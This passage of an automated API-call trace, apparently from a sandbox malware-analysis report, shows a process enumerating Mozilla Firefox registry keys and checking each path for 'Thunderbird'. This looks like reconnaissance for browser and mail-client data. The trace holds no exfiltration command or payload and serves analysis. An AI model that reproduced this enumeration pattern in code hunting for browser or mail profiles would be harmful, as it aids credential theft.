(in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0056.988] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0056.988] lstrlenA (lpString="Uninstall") returned 9 [0056.988] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x2d2ef8 [0056.988] lstrcpyA (in: lpString1=0x2d2ef8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0056.988] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Uninstall" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0056.988] LocalFree (hMem=0x2fc580) returned 0x0 [0056.988] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", lpSrch="Thunderbird") returned 0x0 [0056.988] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e2248 [0056.988] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", phkResult=0x21f9e0 | out: phkResult=0x21f9e0*=0x1f4) returned 0x0 [0056.988] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x0, lpName=0x2e2248, lpcchName=0x21f9d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21f9d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.988] RegCloseKey (hKey=0x1f4) returned 0x0 [0056.988] LocalFree (hMem=0x2e2248) returned 0x0 [0056.988] LocalFree (hMem=0x2d2ef8) returned 0x0 [0056.988] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x2, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.988] RegCloseKey (hKey=0x1f0) returned 0x0 [0056.988] LocalFree (hMem=0x2e19c0) returned 0x0 [0056.988] LocalFree (hMem=0x2fc4c8) returned 0x0 [0056.988] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x1, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.988] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.988] LocalFree (hMem=0x2edb78) returned 0x0 [0056.988] LocalFree (hMem=0x2f95f8) returned 0x0 [0056.988] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x2, lpName=0x2ec3a0, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.989] lstrlenA (lpString="Software\\Mozilla") returned 16 [0056.989] lstrlenA (lpString="\\") returned 1 [0056.989] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x2e66f8 [0056.989] lstrcpyA (in: lpString1=0x2e66f8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0056.989] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.989] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0056.989] lstrlenA (lpString="Mozilla Firefox 25.0") returned 20 [0056.989] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x2f95f8 [0056.989] lstrcpyA (in: lpString1=0x2f95f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.989] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0056.989] LocalFree (hMem=0x2e66f8) returned 0x0 [0056.989] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0", lpSrch="Thunderbird") returned 0x0 [0056.989] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2edb78 [0056.989] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", phkResult=0x21fa70 | out: phkResult=0x21fa70*=0x1ec) returned 0x0 [0056.989] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.989] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0056.989] lstrlenA (lpString="\\") returned 1 [0056.989] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x2f9e38 [0056.989] lstrcpyA (in: lpString1=0x2f9e38, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0056.989] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0056.989] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0056.989] lstrlenA (lpString="bin") returned 3 [0056.989] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x2fc4c8 [0056.989] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0056.989] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="bin" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\bin") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\bin" [0056.989] LocalFree (hMem=0x2f9e38) returned 0x0 [0056.989] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", lpSrch="Thunderbird") returned 0x0 [0056.989] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e19c0 [0056.989] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x1f0) returned 0x0 [0056.989] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.989] RegCloseKey (hKey=0x1f0) returned 0x0 [0056.989] LocalFree (hMem=0x2e19c0) returned 0x0 [0056.989] LocalFree (hMem=0x2fc4c8) returned 0x0 [0056.989] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x1, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.989] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0056.989] lstrlenA (lpString="\\") returned 1 [0056.989] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x2f9e38 [0056.989] lstrcpyA (in: lpString1=0x2f9e38, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0056.989] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0056.989] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0056.989] lstrlenA (lpString="extensions") returned 10 [0056.989] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x2d2ef8 [0056.989] lstrcpyA (in: lpString1=0x2d2ef8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0056.989] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="extensions" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions" [0056.989] LocalFree (hMem=0x2f9e38) returned 0x0 [0056.989] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", lpSrch="Thunderbird") returned 0x0 [0056.989] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e19c0 [0056.989] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x1f0) returned 0x0 [0056.990] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.990] RegCloseKey (hKey=0x1f0) returned 0x0 [0056.990] LocalFree (hMem=0x2e19c0) returned 0x0 [0056.990] LocalFree (hMem=0x2d2ef8) returned 0x0 [0056.990] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x2, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.990] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.990] LocalFree (hMem=0x2edb78) returned 0x0 [0056.990] LocalFree (hMem=0x2f95f8) returned 0x0 [0056.990] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x3, lpName=0x2ec3a0, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.990] RegCloseKey (hKey=0x1e8) returned 0x0 [0056.990] LocalFree (hMem=0x2ec3a0) returned 0x0 [0056.990] SetCurrentDirectoryA (lpPathName="C:\\Users\\aDU0VK IWA5kLS\\Desktop" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop")) returned 1 [0056.990] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x21faf4 | out: lpBuffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop") returned 0x1f [0056.990] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Thunderbird") returned 0x0 [0056.990] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2ec3a0 [0056.990] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", phkResult=0x21fab8 | out: phkResult=0x21fab8*=0x1e8) returned 0x0 [0056.990] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x0, lpName=0x2ec3a0, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.990] lstrlenA (lpString="Software\\Mozilla") returned 16 [0056.990] lstrlenA (lpString="\\") returned 1 [0056.990] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x2e66f8 [0056.990] lstrcpyA (in: lpString1=0x2e66f8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0056.990] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.990] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0056.990] lstrlenA (lpString="Firefox") returned 7 [0056.990] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x2fee88 [0056.990] lstrcpyA (in: lpString1=0x2fee88, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.990] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0056.990] LocalFree (hMem=0x2e66f8) returned 0x0 [0056.990] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Thunderbird") returned 0x0 [0056.990] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2edb78 [0056.990] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x21fa70 | out: phkResult=0x21fa70*=0x1ec) returned 0x0 [0056.990] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Crash Reporter", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.990] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0056.990] lstrlenA (lpString="\\") returned 1 [0056.990] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x2ff9b0 [0056.990] lstrcpyA (in: lpString1=0x2ff9b0, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0056.990] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0056.990] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0056.990] lstrlenA (lpString="Crash Reporter") returned 14 [0056.990] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x2f95f8 [0056.990] lstrcpyA (in: lpString1=0x2f95f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0056.990] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="Crash Reporter" | out: lpString1="Software\\Mozilla\\Firefox\\Crash Reporter") returned="Software\\Mozilla\\Firefox\\Crash Reporter" [0056.990] LocalFree (hMem=0x2ff9b0) returned 0x0 [0056.991] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\Crash Reporter", lpSrch="Thunderbird") returned 0x0 [0056.991] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e19c0 [0056.991] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x1f0) returned 0x0 [0056.991] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.991] RegCloseKey (hKey=0x1f0) returned 0x0 [0056.991] LocalFree (hMem=0x2e19c0) returned 0x0 [0056.991] LocalFree (hMem=0x2f95f8) returned 0x0 [0056.991] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x1, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.991] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0056.991] lstrlenA (lpString="\\") returned 1 [0056.991] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x2ff9b0 [0056.991] lstrcpyA (in: lpString1=0x2ff9b0, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0056.991] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0056.991] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0056.991] lstrlenA (lpString="TaskBarIDs") returned 10 [0056.991] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x2f95f8 [0056.991] lstrcpyA (in: lpString1=0x2f95f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0056.991] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0056.991] LocalFree (hMem=0x2ff9b0) returned 0x0 [0056.991] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Thunderbird") returned 0x0 [0056.991] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e19c0 [0056.991] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x1f0) returned 0x0 [0056.991] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.991] RegCloseKey (hKey=0x1f0) returned 0x0 [0056.991] LocalFree (hMem=0x2e19c0) returned 0x0 [0056.991] LocalFree (hMem=0x2f95f8) returned 0x0 [0056.991] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x2, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.991] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.991] LocalFree (hMem=0x2edb78) returned 0x0 [0056.991] LocalFree (hMem=0x2fee88) returned 0x0 [0056.991] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x1, lpName=0x2ec3a0, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.991] RegCloseKey (hKey=0x1e8) returned 0x0 [0056.991] LocalFree (hMem=0x2ec3a0) returned 0x0 [0056.991] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Thunderbird") returned 0x0 [0056.991] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2ec3a0 [0056.991] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", phkResult=0x21fab8 | out: phkResult=0x21fab8*=0x1e8) returned 0x0 [0056.991] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x0, lpName=0x2ec3a0, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.991] lstrlenA (lpString="Software\\Mozilla") returned 16 [0056.991] lstrlenA (lpString="\\") returned 1 [0056.991] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x2e66f8 [0056.991] lstrcpyA (in: lpString1=0x2e66f8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0056.991] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.992] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0056.992] lstrlenA (lpString="Firefox") returned 7 [0056.992] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x2fee88 [0056.992] lstrcpyA (in: lpString1=0x2fee88, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.992] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0056.992] LocalFree (hMem=0x2e66f8) returned 0x0 [0056.992] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Thunderbird") returned 0x0 [0056.992] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2edb78 [0056.992] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x21fa70 | out: phkResult=0x21fa70*=0x1ec) returned 0x0 [0056.992] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.992] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0056.992] lstrlenA (lpString="\\") returned 1 [0056.992] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x2ff9b0 [0056.992] lstrcpyA (in: lpString1=0x2ff9b0, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0056.992] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0056.992] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0056.992] lstrlenA (lpString="TaskBarIDs") returned 10 [0056.992] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x2f95f8 [0056.992] lstrcpyA (in: lpString1=0x2f95f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0056.992] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0056.992] LocalFree (hMem=0x2ff9b0) returned 0x0 [0056.992] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Thunderbird") returned 0x0 [0056.992] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e19c0 [0056.992] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x1f0) returned 0x0 [0056.992] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.992] RegCloseKey (hKey=0x1f0) returned 0x0 [0056.992] LocalFree (hMem=0x2e19c0) returned 0x0 [0056.992] LocalFree (hMem=0x2f95f8) returned 0x0 [0056.992] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x1, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.992] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.992] LocalFree (hMem=0x2edb78) returned 0x0 [0056.992] LocalFree (hMem=0x2fee88) returned 0x0 [0056.992] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x1, lpName=0x2ec3a0, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.992] lstrlenA (lpString="Software\\Mozilla") returned 16 [0056.992] lstrlenA (lpString="\\") returned 1 [0056.992] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x2e66f8 [0056.992] lstrcpyA (in: lpString1=0x2e66f8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0056.992] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.992] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0056.992] lstrlenA (lpString="Mozilla Firefox") returned 15 [0056.992] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x2f95f8 [0056.992] lstrcpyA (in: lpString1=0x2f95f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.992] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0056.992] LocalFree (hMem=0x2e66f8) returned 0x0 [0056.992] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox", lpSrch="Thunderbird") returned 0x0 [0056.992] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2edb78 [0056.992] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", phkResult=0x21fa70 | out: phkResult=0x21fa70*=0x1ec) returned 0x0 [0056.993] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.993] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0056.993] lstrlenA (lpString="\\") returned 1 [0056.993] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x2f9e38 [0056.993] lstrcpyA (in: lpString1=0x2f9e38, lpString2="Software\\Mozilla\\Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0056.993] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0056.993] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\") returned 33 [0056.993] lstrlenA (lpString="25.0 (en-US)") returned 12 [0056.993] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x2fc4c8 [0056.993] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="Software\\Mozilla\\Mozilla Firefox\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0056.993] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\", lpString2="25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0056.993] LocalFree (hMem=0x2f9e38) returned 0x0 [0056.993] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpSrch="Thunderbird") returned 0x0 [0056.993] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e19c0 [0056.993] 